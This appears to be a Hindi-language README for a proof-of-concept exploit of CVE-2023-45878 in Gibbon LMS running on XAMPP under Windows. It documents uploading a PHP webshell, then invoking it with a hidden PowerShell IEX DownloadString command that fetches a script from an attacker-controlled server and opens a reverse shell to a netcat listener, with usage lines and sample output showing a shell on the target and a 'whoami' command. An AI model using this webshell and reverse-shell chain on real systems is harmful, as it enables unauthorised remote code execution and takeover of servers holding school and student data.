
xampp विंडोज़ पर gibbon LMS के लिए CVE-2023-45878 poc
CVE-2023-45878 का पीओसी (POC) जिब्बन LMS के लिए जो XAMPP विंडोज पर चलता है। कमांड इंजेक्शन के लिए shell.php नामक एक वेबशेल अपलोड करता है। रिवर्स शेल के लिए एक पावरशेल रिवर्स शेल ps1 स्क्रिप्ट जिसे shell.ps1 कहा जाता है, अपलोड करता है जो shell.php का उपयोग करके लक्ष्य मशीन पर अपलोड होती है।
Python3 Requests python3 मॉड्यूल netcat
pip3 install requests
mkdir CVE-2023-45878
cd CVE-2023-45878
python3 -m venv CVE
source CVE/bin/activate
cd ..
pip3 install requests
यह Gibbon LMS पर परीक्षण किया गया था जो XAMPP विंडोज पर बिना किसी एंटीवायरस के चल रहा था। लक्ष्य Gibbon के लॉगिन पेज का उपयोग करके पाया जा सकता है, उदाहरण: http://gibbon-example/Gibbon-LMS/
python3 reverse.py --reverse-shell -target_url http://target -ip IP -port REV-PORT -srvport SRVPORT
[+] PHP shell uploaded successfully to http://target/shell.php
[+] PowerShell reverse shell script saved to: shell.ps1
[+] The shell is now hosted at shell.ps1
Starting reverse shell listener in background...
Starting netcat listener on ip:REV-PORT...
[+] HTTP server running in the background on port SRVPORT
[+] Executing PHP shell to download and execute shell.ps1
Executing: http://target/shell.php?cmd=powershell%20-nop%20-w%20hidden%20-c%20IEX%20%28New-Object%20Net.WebClient%29.DownloadString%28%27http%3A//IP%3ASRVPORT/shell.ps1%27%29
[+] HTTP server started on http://0.0.0.0:SRVPORT/
TARGET-IP - - [20/Mar/2025 12:59:11] "GET /shell.ps1 HTTP/1.1" 200 -
Connection from TARGET-IP
PS C:\xampp\htdocs\Gibbon-LMS>
python3 reverse.py --single -target_url http://target -command whoami
[+] PHP shell uploaded successfully to http://target/shell.php
[+] Executing PHP command
Executing: http://target/shell.php?whoami
[+] Command executed successfully pres enter
vuln\w.webservice